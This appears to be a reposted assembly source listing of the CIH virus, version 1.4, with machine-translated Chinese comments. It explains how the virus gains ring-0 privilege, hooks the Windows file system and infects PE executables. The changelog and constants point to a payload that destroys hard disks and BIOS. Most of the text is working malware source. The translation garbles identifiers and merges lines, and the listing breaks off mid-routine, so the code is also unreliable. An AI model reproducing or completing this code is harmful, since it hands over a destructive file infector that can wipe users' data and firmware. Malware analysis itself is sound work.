CiH virus 1.4 version of Chinese comment

xiaoxiao2021-03-05  24

Chinese comment from the CIH virus 1.4 version

English notes in the source program have not been modified, all retain ********************************************* ***********************************************

; * The Virus Program Information *

*********************************************************** ***********************************

; * *

; * Designer: CIH Source: TTIT of Tatung in Taiwan *

; * Create Date: 04/26/1998 Now version: 1.4 *

; * Mode Time: 05/31/1998 *

; * *

; * Turbo Assembler Version 4.0: Tasm / M CIH *

; * Turbo Link Version 3.01: TLINK / 3 / T CIH, CiH.exe *; Compilation Connection Method

; * *; Use Turboassembler

; * ================================================= ========================== *; can be found in Borland C 3.1

* Modification History *

; * ================================================= =========================== *

; * v1.0 1. CREATE The Virus Program. *

; * 2. The Virus Modifies IDt To Get Ring0 Privilege. *

; * 04/26/1998 3. Virus Code Doesn't reload Into system. *

; * 4. Call IFSMGR_INSTALLESYSTEMAPIHOK to Hook File System. *

; * 5. Modifies Entry Point of IFSMGR_INSTALLSYSTEMAPIHOK. *

; * 6. When System Opens existing pe file, the file will be *

; * Inflected, and the file doesn't be reinfected. *; * 7. IT is read-only. *

; * 8. When a file is infected, the model *

; * of the file also don't be changed. *

; * 9. When My Virus Uses ifsmgr_ring0_fileio, IT WILL NOT CALL *

; * Previous FileSystemapihook, It Will Call The Function *

; * That The IFS Manager Would Normal Call To IMPLEMENT *

; * this particular I / O Request. *

; * 10. The Virus Size Is Only 656 bytes. *

; * ================================================= =========================== *

; * v1.1 1. especially, the file what be infreaded will not increable *

; * it's size ... ^ __ ^ *

; * 05/15/1998 2. Hook and modify structured exception handing. *

; * When Exception Error Occurs, OS System Should Be in *

; * Windows Nt. So my cute virus will not contact to run, *

; * it will jmup to originel application to run. *

; * 3. Use better algorithm, reduuce virus code size. *

; * 4. The Virus "Basic" Size is Only 796 Bytes. *

; * ================================================= =========================== *

; * v1.2 1. Kill All HardDisk, And Bios ... super ... killer ... *; * 2. modify the bug of v1.1 *

; * 05/21/1998 3. The Virus "Basic" size is 1003 bytes. *

; * ================================================= =========================== *

; * v1.3 1. Modify the bug what winzip self-extractor occurs error. *

; * So when open winzip self-extractor ==> DON '中文' *

; * 05/24/1998 2. The Virus "Basic" size is 1010 bytes. *

; * ================================================= =========================== *

; * v1.4 1. Full Modify the bug: Winzip self-extractor ocurs error. *

; * 2. Change the date of killing computers. *

; * 05/31/1998 3. Modify Virus Version CopyRight. *

; * 4. The Virus "Basic" size is 1019 bytes. *

*********************************************************** ***********************************

.586p; 586 protection mode compilation

*********************************************************** ***********************************

; * Original Pe EXECUTABLE File (Don't modify this section) *

*********************************************************** ***********************************

OriginalAppexe Segment

FileHeader:; Compile-connected PE format executable file header

DB 04DH, 05AH, 090H, 000H, 003H, 000H, 000H, 000H, 0FFH, 0FFH, 000H, 000H

DB 0B8H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 040H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 080H, 000H, 000H, 000H

DB 00, 01FH, 0BAH, 00EH, 000H, 0B4H, 009H, 0CDH

DB 021H, 0B8H, 001H, 04CH, 0CDH, 021H, 054H, 068H

DB 069H, 073H, 020H, 070H, 072H, 06FH, 067H, 072H

DB 061H, 06DH, 020H, 063H, 061H, 06EH, 06EH, 06FH

DB 074H, 020H, 062H, 065H, 020H, 072H, 075H, 06EH

DB 020H, 069H, 06EH, 020H, 044H, 04FH, 053H, 020H

DB 06DH, 06FH, 064H, 065H, 02EH, 00DH, 00DH, 00AH

DB 024H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 050H, 045H, 000H, 000H, 04CH, 001H, 001H, 000H

DB 0F1H, 068H, 020H, 035H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 0E0H, 000H, 00FH, 001H

DB 00BH, 001H, 005H, 000H, 000H, 010H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 010H, 010H, 000H, 000H, 000H, 010H, 000H, 000H

DB 000H, 020H, 000H, 000H, 000H, 000H, 040H, 000H

DB 000H, 010H, 000H, 000H, 000H, 002H, 000H, 000H

DB 004H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 004H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 020H, 000H, 000H, 000H, 002H, 000H, 000H

DB 000H, 000H, 000H, 000H, 002H, 000H, 000H, 000H

DB 000H, 000H, 010H, 000H, 000H, 010H, 000H, 000H

DB 000H, 000H, 010H, 000H, 000H, 010H, 000H, 000H

DB 000H, 000H, 000H, 000H, 010H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000HDB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 02EH, 074H, 065H, 078H, 074H, 000H, 000H, 000H

DB 000H, 010H, 000H, 000H, 000H, 010H, 000H, 000H

DB 000H, 010H, 000H, 000H, 000H, 002H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 020H, 000H, 000H, 060H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 0C3H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DD 00000000h, Virussize

OriginalAppexe Ends

*********************************************************** ***********************************

; * My Virus Game *

*********************************************************** *************************; *********************** *****************************************

; * Constant define *

*********************************************************** *********

True = 1

False = 0

Debug = false

Majorvirusversion = 1; main version number

Minorvirusversion = 4; deputy version number

Virusversion = majorvirusversion * 10h minorvirusversion; synthetic version number

IF debug; is it a debugging?

FirstkillhardiskNumber = 81h; kill the second hard disk "D:"

HOOKEXCEPTIONNUMBER = 05H; Using No. 5 Interrupt

Else

FirstkillhardiskNumber = 80h; kill the first hard disk "C:"

HOOKEXCEPTIONNUMBER = 03H; Using 3 interruption

ENDIF

FILENAMEBUFFERSIZE = 7FH

*********************************************************** *********

*********************************************************** *********

Virusgame segment

Assume CS: Virusgame, DS: Virusgame, SS: Virusgame

Assume ES: Virusgame, FS: Virusgame, GS: Virusgame

*********************************************************** *********

; * Ring3 Virus Game Initial Program *

*********************************************************** *********

MyvirusStart:

Push EBP

**********************************************

; * Let's modify structured exception *

; * Handing, prevent exception error *

; * Occurrence, especially in nt. *

**********************************************

Lea Eax, [ESP-04H * 2]

XOR EBX, EBX

XCHG Eax, FS: [EBX]

Call @ 0

@ 0:

POP EBX; Get program start offset?

Use this offset relative offset to obtain an absolute address (the virus program is used in large quantity)

Lea Ecx, StoptorUnviruscode- @ 0 [EBX]

Push ECX

Push EAX

**********************************************

; * Let's modify *

; * IDT (Interrupt Descriptor Table) *

; * TO GET RING0 PRIVILEGE ... *

**********************************************

Push Eax;

SIDT [ESP-02H]; GET IDT BASE Address?; Get the base address to EBX

POP EBX;

Add ebx, hookExceptionNumber * 08H 04H; zf = 0; calculate the base address to eBXCLI to use the interrupt;

MOV EBP, [EBX]; Get Exception Base

MOV BP, [EBX-04H]; Entry Point?; achieve interrupt base address to EBP

Lea ESI, MyExceptionHook- @ 1 [ECX]

Push ESI?; ESI is a viral interrupt routine address

MOV [EBX-04H], Si;

SHR ESI, 16; Modify Exception

MOV [EBX 02H], Si; Entry Point Address

POP ESI

**********************************************

* Generate Exception to get ring0 *

**********************************************

INT hookexceptionNumber; generateException; enter level 0 in an interrupt

ReturnadDressofendexception = $

**********************************************

; * Merge All Virus Code Section *

**********************************************

PUSH ESI

Mov ESI, ESI, ESI point to viruses

LoopofmergeAllViruscodesection:

MOV ECX, [EAX-04H]

REP MOVSB; copy virus code to allocated system memory first

Sub Eax, 08h

MOV ESI, [EAX]

OR ESI, ESI

JZ Quitoopofmerge; zf = 1; copy end

JMP loopofmergelectronviruscodesection; copy next paragraph

QuitLoopofmergelectronViruscodeSection:

POP ESI

**********************************************

* Generate Exception Again *

**********************************************

Int hookExceptionNumber; GenerateException AGA

; Once again enter level 0

**********************************************

* Let's restore *

; * Structured Exception Handing *

**********************************************

ReadyRESTORESE:

STI; open interrupt

XOR EBX, EBX

JMP Restorese

**********************************************

; * When exception error ocurs, *

; * OOS System Should Be in nt. *

; * SO My Cute Virus Will NOT *

; * Continue To Run, IT JMups to *

; * Original Application To Run. *

**********************************************

StoptorUnviruscode:

@ 1 = stoptorunviruscode

XOR EBX, EBX

Mov Eax, FS: [EBX]

MOV ESP, [EAX]

RESTORESE:

POP DWORD PTR FS: [EBX] POP ​​EAX

**********************************************

; * Return Original App To Execute *

**********************************************

POP EBP

Push 00401000H; Push Original

OriginalAddressofentryPoint = $ -4; App Entry Point To Stack

; Put the start address of the original program

Ret; return to original app entry point; return to the beginning of the original program as a child program

*********************************************************** *********

; * Ring0 Virus Game Initial Program *

*********************************************************** *********

MyExceptionHook:

@ 2 = MyExceptionHook

JZ InstallmyFileSystemapihook; if the virus code has been copied

; Program that goes to the installation file system hook

**********************************************

; * Do My Virus EXIST in System!? *

**********************************************

MOV ECX, DR0; see if DR0 is set (DR0 is the virus residence sign)

JECXZ AllocateSystemMemoryPage; no setup, allocate system memory

Add DWORD PTR [ESP], ReadyRestorese-returnaddressofendexception

**********************************************

; * Return to Ring3 Initial Program *

**********************************************

Exitring0init:

MOV [EBX-04H], BP;

SHR EBP, 16; Restore Exception

MOV [EBX 02H], BP;; Restore the original interrupt base address

IRETD; interrupt return

**********************************************

; * Allocate SystemMemory Page To Use *

**********************************************

AllocateSystemMemoryPage:

MOV DR0, EBX; Set The Mark of My Virus EXIST ITEM

; Set DR0, it is the sign of the virus resides

PUSH 00000000FH;

PUSH ECX;

Push 0FFFFFFFFH;

Push ECX; calling method Ulong Extern _PageAllocate (Ulong Npages, Ulong Ptype, Ulong VM,

Ulong alignmask, ulong minphys, ulong maxphys, ulong * Physaddr,

Ulong flags;

PUSH ECX;

PUSH ECX;

Push 000000001H;

Push 000,000002h;

INT 20H; VMMCALL _PAGEAllocate; VXD call

_PageAllocate = $;

DD 00010053H; Use Eax, ECX, EDX, AND FLAGS

Add ESP, 08H * 04H; Recovery Stack Pointer

XCHG EDI, EAX; EDI = SystemMemory Start Address; EDI points to allocated system memory first

Lea Eax, MyvirusStart- @ 2 [ESI]; EAX points to the beginning of the virus

IRETD; RETURN TO RING3 Initial Program; exit interruption, return to level 3 (return "Merge All Virus Code Section")

**********************************************

; * Install My File System API Hook *

**********************************************

InstallmyFileSystemapiHook:

Lea eax, filesystemapihook- @ 6 [edi]; pointing to the file system hook program

Push Eax;

INT 20H; vxdcall ifsmgr_installfilesystemapihook

IFSMGR_INSTALLFILESTEMAPIHOK = $;

DD 00400067H; USE Eax, ECX, EDX, AND FLAGS

; Changed to Call [IFSMGR_InstallFileSystemapiHook]

Mov DR0, Eax; Save OldfilesystemapiHook Address

; Save the original file system hook program first site to DR0 (the return value of the modulation is the previous chain)

POP Eax; Eax = FileSystemapiHook Address

; Save Old IFSMGR_INSTALLFILESTEMAPIHOOK Entry Point

MOV ECX, IFSMGR_INSTALLESYSTEMAPIHOK- @ 2 [ESI]

MOV EDX, [ECX]; EDX is the address of the IFSMGR_INSTALLSYSTEMAPIHOOK function

Mov OldInstallFileSystemapiHook- @ 3 [eax], EDX?; save

Modify IFSMGR_INSTALLFILESYSTEMAPIHOK ENTRY POINT

Lea eax, installfilesystemapihook- @ 3 [eax]

MOV [ECX], EAX?; Set the address of the new IFSMGR_INSTALLFILESTEMAPIHOOK function call

To make the INSTALLSYSTEMAPIHOOK

CLI

JMP EXITRING0INIT?; Exit 0 (INT 3 or INT 5)

*********************************************************** *********

; * Code size of merge virus code section *

*********************************************************** *********

CODESIZEOFMERGEVIRUSCODESECTION = Offset $

*********************************************************** *********

; * Ifsmgr_installfilesystemapihook *

*********************************************************** *********

InstallFilesystemapihook:; New IFSMGR_INSTALLSYSTEMAPIHOK function call

Push EBX

Call @ 4;

@ 4:;

POP EBX; MOV EBX, OFFSET FileSystemapiHook; Get offset addresses add ebx, filesystemapihook- @ 4; plus offset = FileSystemapiHook offset

Push EBX

INT 20H; vxdcall ifsmgr_removefilesystemapihook; call vxd to remove the hook to FileSystemapiHook

IFSMGR_RemoveFileSystemapiHook = $

DD 00400068H; USE EAX, ECX, EDX, AND FLAGS; call number

POP EAX

Call Original IFSMGR_INSTALLFILESYSTEMAPIHOK

; To Link Client FileSystemapiHook

Push DWORD PTR [ESP 8]

Call OldInstallFileSystemapiHook- @ 3 [ebx]; call the original IFSMGR_InstallFileSystemapiHook function setting hook

POP ECX

Push EAX

Call Original IFSMGR_INSTALLFILESYSTEMAPIHOK

; To Link My FileSystemapiHook

Push EBX

Call OldInstallFileSystemapiHook- @ 3 [ebx]; call the original IFSMGR_InstallFileSystemapiHook function setting hook

POP ECX

MOV DR0, Eax; Adjust OldFilesystemapiHook Address; Adjusting the original address

POP EAX

POP EBX

RET

*********************************************************** *********

; * Static Data *

*********************************************************** *********

OldInstallFileSystemapiHook DD?; The original InstallFileSystemapiHook called address

*********************************************************** *********

; * Ifsmgr_filesystemhook *

*********************************************************** *********

**********************************************

; * Ifsmgr_filesystemhook entry point *

**********************************************

FileSystemapihook:; Installed File System Hook

@ 3 = FileSystemapiHook

Pushhad; save register (20H long)

Call @ 5;

@ 5:;

POP ESI; MOV ESI, OFFSET; ESI is the offset of the current instruction

Add ESI, VirusgameDataStartaddress- @ 5

; ESI's offset of FileSystemapiHook plus the difference between VirusGameDataStartAddress = VirusGameDataStartAddress offset

**********************************************

; * Is Onbusy!? *

**********************************************

TEST BYTE PTR (Onbusy- @ 6) [ESI], 01H; if (onbusy); Test "Busy" Sign JNZ Pifunc; Goto Pifunc; "Busy" Go to PIFSFUNC

**********************************************

; * Is OpenFile !? *

**********************************************

; if (notopenfile)

Goto Prevhook

Lea EBX, [ESP 20H 04H 04H]; EBX is the address of functionNum

The modulation format of the file system hook is as follows

FileSystemapiHookFunction (Pifsfunc FSDFNADDR, INT FunctionNum, Int Drive, Int ResourceFlags, Int CodePage, Pioreq Pir)

Assistant 2

CMP DWORD PTR [EBX], 00000024H; Test this call is to open the file

; #Define ifsfn_open 36 defined in IFS.H in DDK

JNE prevhook; not jump to the previous file hook

**********************************************

; * Enable Onbusy *

**********************************************

Inc Byte Ptr (Onbusy- @ 6) [ESI]; Enable Onbusy; Setting "Busy" logo as "Busy"

**********************************************

* Get FilePath's Drivenumber, *

; * Ten set the drivename to *

* Filenamebuffer. *

**********************************************

; * EX. If Drivenumber IS 03H, *

* DRIVENAME IS 'C:'. *

**********************************************

; MOV ESI, Offset FileNameBuffer

Add ESI, FileNameBuffer- @ 6; ESI points to FileNameBuffer

Push ESI; save it

MOV Al, [EBX 04H]; EBX 4 is the address of INT Drive

CMP Al, 0FFH; is the universal naming convention address

JE CallUnitobcspath;

Add Al, 40h

MOV AH, ':'

MOV [ESI], EAX; processed into "x:"

Inc ESI

Inc ESI

**********************************************

* Unitobcspath *

**********************************************

; * This service convers *

* a canonicalized unicode pathname *; converts the characters of Canonicalized Unicode to ordinary BCS character sets

; * to a Normal Pathname in the *

* Specified BCS Character Set. *

**********************************************

Calling method Unitobcspath (unsigned char * pbcspath, parsedpath * punipath, unsigned int maxlength, int t) Callunitobcspath:

Push 00000000H; character set

Push filenamebuffersize; character length

MOV EBX, [EBX 10h]

MOV EAX, [EBX 0CH]

Add Eax, 04H

Push Eax; Uni Character

Push ESI; BCS Character

INT 20H; vxdcall unitobcspath; call unitobcspath

Unitobcspath = $

DD 00400041H; call ID

Add ESP, 04H * 04H

**********************************************

; * Is filename '.exe'!? *

**********************************************

; CMP [ESI EAX-04H], '.exe'

CMP [ESI EAX-04H], 'EXE.'; whether the test is * .exe (executable) file

POP ESI

JNE Disableonbusy

IF Debug

**********************************************

; * ONLY for debug *

**********************************************

; CMP [ESI EAX-06H], 'FUCK'

CMP [ESI EAX-06H], 'KCUF'; if it is test use, the test is "fuck.exe"

JNE Disableonbusy

ENDIF

**********************************************

; * Is open existing file!? *

**********************************************

IF (notopenexistingfile)

Goto Disableonbusy

CMP Word PTR [EBX 18H], 01H; Whether the test is open

JNE Disableonbusy

**********************************************

; * Get Attributes of the file *

**********************************************

MOV AX, 4300H; IFSMGR_RING0_FILEIO's acquisition file attribute number (r0_fileattributes / get_attributes)

INT 20H; vxdcall ifsmgr_ring0_fileio; calls ifsmgr_ring0_fileio's ability to get file properties

IFSMGR_RING0_FILEIO = $

DD 00400032H; call number

JC Disableonbusy; failure?

Push ECX

**********************************************

; * GET IFSMGR_RING0_FILEIO Address *

**********************************************

MOV EDI, DWORD PTR (ifsmgr_ring0_fileio- @ 7) [ESI]

MOV EDI, [EDI]; get the address of IFSMGR_RING0_FILEIO call

**********************************************

; * Is Read-Only File !? *

************************************ TEST CL, 01H

JZ OpenFile; Test is read-only file

**********************************************

; * Modify read-only file to write *

**********************************************

MOV AX, 4301H; IFSMGR_RING0_FILEIO's acquisition file attribute number (r0_fileattributes / set_attributes)

XOR ECX, ECX

Call edi; vxdcall ifsmgr_ring0_fileio; call the filemgr_ring0_fileio change file properties, make the file write

**********************************************

; * Open file *

**********************************************

OpenFile:

XOR EAX, EAX

MOV AH, 0D5H; IFSMGR_RING0_FILEIO Open File function number (r0_opencreatfile or ro_opencreat_in_context)

XOR ECX, ECX; file properties

XOR EDX, EDX

Inc EDX

MOV EBX, EDX

Inc EBX; ESI is the first address of the file name

Call edi; vxdcall ifsmgr_ring0_fileio; call IFSMGR_RING0_FILEIO Open File Function

XCHG EBX, EAX; MOV EBX, FileHandle; Save File Handle in EBX

**********************************************

; * Need to restore *

; * Attributes of the file!? *

**********************************************

POP ECX

Pushf

TEST CL, 01H

JZ isopenfileok; Do you need to recover file properties (there is no need to recover if you write attribute)

**********************************************

; * Restore attributes of the file *

**********************************************

MOV AX, 4301H; IFSMGR_RING0_FILEIO's acquisition file attribute number (r0_fileattributes / set_attributes)

Call edi; vxdcall ifsmgr_ring0_fileio; Restore file properties

**********************************************

; * Is Open file ok!? *

**********************************************

Isopenfileok:

POPF

JC Disableonbusy; Is it successful?

**********************************************

* Open file already succeed. ^ __ ^ *

**********************************************

Push ESI; Push FileNameBuffer Address to Stack; Push the file name data area

Pushf; Now cf = 0, push flag to stack; save flag

Add ESI, DataBuffer- @ 7; MOV ESI, Offset DataBuffer; ESI points to the first address of the data area

****************************

; * Get OffsettonewHeader *

****************************

XOR EAX, EAX

MOV AH, 0D6H; IFSMGR_RING0_FILEIO read file function number (r0_readfile)

For doing minimal viruscode's length,

I Save EAX TO EBP.

MOV EBP, EBP

Push 00000004H; read 4 bytes

POP ECX

PUSH 0000003CH; Read the DOS file header offset 3CH WINDOWS file header offset

POP EDX

Call edi; vxdcall ifsmgr_ring0_fileio; reading files to ESI

MOV EDX, [ESI]; Windows file header offset to EDX

****************************

; * GET 'PE / 0' SIGNATURE *

; * of imagefileHeader, and *

; * Infected mark. *

****************************

Dec edx

MOV EAX, EBP; function number

Call edi; vxdcall ifsmgr_ring0_fileio; reading files to ESI

****************************

; * Is PE!? *

****************************

; * Is the file *

; * Already infected!? *

****************************

; * Winzip self-extractor *

* Doesn't Have Infected *

* Mark Because My Virus *

; * doesn't infect it. *

****************************

; CMP [ESI], '/ 0PE / 0'

CMP DWORD PTR [ESI], 00455000H; Judgment is a PE file (flag "PE / 0/0")

JNE closefile; close file

**********************************************

; * The file is ^ o ^ *

; * PE (portable executable "indeed. *

**********************************************

; * The file isn't also infected. *

**********************************************

**********************************************

; * Start to infect the file *

**********************************************

; * Registers use status now: *

; * *

; * EAX = 04h *

; * Ebx = file handle *

* ECX = 04h *

; * Edx = 'pe / 0/0' Signature of *

; * ImageFileHeader Pointer's *

* Former byte. *

; * ESI = DataBuffer Address ==> @ 8 *

; * EDI = IFSMGR_RING0_FILEIO Address *

; * EBP = D600H ==> Read data in file *

*********************************************; * STACK DUMP: *

; * *

; * ESP => ------------------------- *

; * | Eflag (cf = 0) | *

; * ------------------------- *

; * | Filenamebufferpointer | *

; * ------------------------- *

; * | EDI | *

; * ------------------------- *

; * | ESI | *

; * ------------------------- *

; * | EBP | *

; * ------------------------- *

; * | ESP | *

; * ------------------------- *

; * | EBX | *

; * ------------------------- *

; * | EDX | *

; * ------------------------- *

; * | ECX | *

; * ------------------------- *

; * | Eax | *

; * ------------------------- *

; * | RETURN Address | *

; * ------------------------- *

**********************************************

Push Ebx; Save File Handle; Save File Handle

Push 00h; set viruscodesectionTablendmark

****************************

; * Let's set the *

; * Virus' Infected Mark *

****************************

Push 01h; size

Push EDX; POINTER OF FILE; EDX point to PE file header offset 00h

Push EDI; Address of buffer; EDI is the address of IFSMGR_RING0_FILEIO (incorrectly)

****************************

; * Save esp register *

****************************

MOV DR1, ESP

****************************

; * Let's set the *

; * NewadDressofentryPoint *

; * (ONLY first set size) *

****************************

Push Eax; Size

****************************

; * Let's read *

; * Image header in file *

****************************

MOV EAX, EBP

Mov Cl, SizeOfImageHeadertoread; Word Numberofsections

Add Edx, 07h; Move Edx to Numberofsections; PE file head 07h is Numberofsections (block number)

Call edi; vxdcall ifsmgr_ring0_fileio; read NumberOfsections to ESI

****************************

; * Let's set the *

; * NewadDressofentryPoint *

; * (Set Pointer of File, *; * Address of buffer) *

****************************

Lea Eax, (AddressofentryPoint- @ 8) [EDX]

Push Eax; Pointer Of File

Lea Eax, (NewaddressofentryPoint- @ 8) [ESI]

Push Eax; Address Of Buffer

****************************

* Move Edx to the start *

* of sectionTable in file *

****************************

Movzx Eax, Word Ptr (SizeOfoptionalHeader- @ 8) [ESI]

Lea EDX, [EAX EDX 12H]; EDX is the offset of sectionTable

****************************

* Let's get *

; * Total Size of Sections *

****************************

MOV Al, SizeOfScetionTable; ScetionTable size (bytes)

I Assume Numberofsections <= 0ffh

MOV CL, (Numberofsections- @ 8) [ESI]

Mul CL; Multiply the number of pieces in each block = block size

****************************

; * Let's set section table *

****************************

; Move ESI to the Start of SectionTable

Lea ESI, (StartofsectionTable- @ 8) [ESI]; ESI points to the first location of the block table (in the viral dynamic data area)

Push Eax; size; block size

Push EDX; POINTER OF FILE; EDX is the offset of sectionTable

Push ESI; Address of buffer;

****************************

; * The code size of merge *

; * Virus code section and *

; * Total size of virus *

; * Code section Table Must *

; * beall or equal the *

; * Unused Size of *

; * FOLLOWING Section Table *

****************************

Inc ECX

Push Ecx; Save Numberofsections 1

SHL ECX, 03H; * 8

Push Ecx; Save TotalsizeofviruscodeSectionTable; Reserved Virus Block Table Space

Add ECX, EAX

ADD ECX, EDX; ECX file offset

Sub ECX, (SizeOfheaders- @ 9) [ESI]

NOT ECX

INC ECX;

; ECX is the file head size - the offset of the body = unused space

; Save My Virus First Section Code

SIZE OF FOLLOWING Section Table ...

NOT INCLUDE TABE OF Virus Code Section Table

Push ECX

XCHG ECX, ECX; ECX = Size of Section Table; ECX is a block size; Save Original Address of Entry Point

MOV Eax, (AddressofentryPoint- @ 9) [ESI]; Entrance RVA Address

Add Eax, (ImageBase- @ 9) [ESI]; load base

MOV (OriginalAddressofentryPoint- @ 9) [ESI], EAX; save the actual entrance address after load

CMP Word PTR [ESP], Small CodesizeOfmergeViruscodeSEC; Unexpected Space and Virus First Size Comparison

Jl onlysetinfectedmark; less than the infection mark

****************************

; * Read all section Tables *

****************************

MOV EAX, EBP; read function number

Call edi; vxdcall ifsmgr_ring0_fileio; reading block table to ESI (@ 9)

****************************

; * Full modify the bug: *

; * Winzip self-extractor *

; * Occurs Error ... *

****************************

; * SO WHEN User Opens *

; * Winzip self-extractor, *

; * Virus doesn't infect it. *

****************************

; * First, virus gets the *

* PointertorawData in the *

; * Second Section Table, *

; * Reads the section Data, *

; * and tests the string of *

; * 'Winzip (r)' ... *

****************************

XCHG EAX, EBP

Push 00000004H

POP ECX; reading 4 bytes

Push Edx

MOV EDX, (SizeOfScectionTable PointertorawData- @ 9) [EBX]; EDX is the offset of the second block (.rdata)

Add EDX, 12H; add 10H 2H (10h is "Winzip ....")

Call edi; vxdcall ifsmgr_ring0_fileio; reading 4 bytes to ESI

CMP [ESI], 'NZIP'

CMP DWORD PTR [ESI], 'PIZN'; Judgment is WinZip self-extracting file

JE notsetinfectedmark; is not set to the infection mark

POP EDX; EDX points to block tables in the file

****************************

; * Let's set total virus *

* Code section table *

****************************

EBX = My Virus First Section Code

SIZE OF FOLLOWING Section Table

POP EBX; unused space size

POP EDI; EDI = TotalsizeOfviruscodeSectionTabl

POP ECX; ECX = NumberOfsections 1

Push EDI; SIZE

Add Edx, EBP; EBP is a block size Push Edx; Pointer Of File; point to block table (first block)

Add EBP, ESI; EBP points to the block table of the virus data area (first block)

Push EBP; Address of buffer

****************************

; * Set the first virus *

; * Code section size in *

; * Viruscodeesetable *

****************************

Lea EAX, [EBP EDI-04H]

MOV [EAX], EBX; setting the size of the virus code (unused space size) to the virus block table

****************************

; * Let's set my virus *

; * First section code *

****************************

Push EBX; Size; Virus code size (unused space size)

Add Edx, EDI

Push EDX; POINTER OF FILE; point to block table (first block) size ?? = virus body (the virus begins)

Lea Edi, (MyvirusStart- @ 9) [ESI]

Push EDI; Address of buffer; pointing to the beginning of the virus

****************************

; * Let's modify the *

; * Addressofentrypoint to *

; * My Virus Entry Point *

****************************

MOV (NewaddressofentryPoint- @ 9) [ESI], EDX; Save new program entry (virus body)

****************************

; * Setup initial data *

****************************

Lea Edx, [ESI-SIZEOFSCETABLE]; EDX first reduced a block length to cooperate with the following "Boid 1"

Mov EBP, OFFSET VIRUSSIZE; EBP is the length of the virus

JMP StartTowritecodetosections

****************************

; * WRITE CODE TO Sections *

****************************

Loopofwritecodetosections:

Add Edx, SizeOfScetionTable; Board 1:

Refers to the next item

MOV EBX, (SizeOfrawData- @ 9) [EDX]; EBX is the SizeOfrawData for the block entry (block size)

Sub EBX, (Virtualsize- @ 9) [EDX]; minus Virtualsize = This block is unused

Jbe Endofwritecodetosections

Push Ebx; SIZE

Sub Eax, 08h

MOV [EAX], EBX; Write virus block table

MOV EBX, (PointertorawData- @ 9) [EDX]; EBX is a block of physical (actual) offset?

Add ebx, (Virtualsize- @ 9) [EDX]; plus Virtualsize

PUSH EBX; POINTER OF FILE; EBX Pointing to this block unused space

Push Edi; Address of buffer

Mov EBX, (virtualsize- @ 9) [EDX]

Add ebx, (VirtualAddress- @ 9) [edx]

Add EBX, (ImageBase- @ 9) [ESI]; EBX is the actual address MOV [EAX 4], EBX; saved to the virus block table

MOV EBX, [EAX]; this block is unused

Add (Virtualsize- @ 9) [EDX], EBX; VirtualSize plus the block entry

; Section Contains Initialized Data ==> 00000040H

; Section can be read. ==> 40000000H

OR (Characteristics- @ 9) [EDX], 40000040H; Block Properties of the block entry (change to readable, and include initialization data)

StartToWritecodetosections:

SUB EBP, EBX; Virus Size - Virus Block Size

Jbe setviruscodeeseTablendmark; if it is smaller than (the virus is completed), set the virus block table end.

Add Edi, Ebx; Move Address of buffer; pointing to the virus

Endofwritecodetosections:

Loop loopofwritecodetosections

****************************

; * ONLY SET INFECTED MARK *

****************************

OnlysetInfectedmark:

MOV ESP, DR1; only set infection logo

JMP WRITEVIRUSCODETOFILE; jump to the program to write a virus to the file to be infected

****************************

; * Not set infread mark *

****************************

NotsetInfectedmark:

Add ESP, 3CH; Do not set infection markers

JMP closefile; jump to offset

****************************

; * SET VIRUS CODE *

; * Section Table End Mark *

****************************

SetviruscodeeendMark:

Adjust Size of Virus Section Code to Correct Value

Add [EAX], EBP; Last item of the virus block table

Add [ESP 08H], EBP

Set end mark

XOR EBX, EBX

MOV [EAX-04H], EBX; set the block table end flag

****************************

; * When virusgame calls *

; * Vxdcall, vmm modifies *

; * the 'INT 20H' and the *

; * 'Service Identifier' *

* To 'call [xxxxxxxxx]'. *

****************************

; * Before Writing My Virus *

; * To file, i must restore *

; * Them first. ^ __ ^ *

****************************

Lea Eax, (lastvxdcalladdress-2- @ 9) [ESI]; the address of the command to call VXD

MOV CL, VXDCALLTABLESIZE; Number of VXDs used

LoopofrestorevxdCallid:

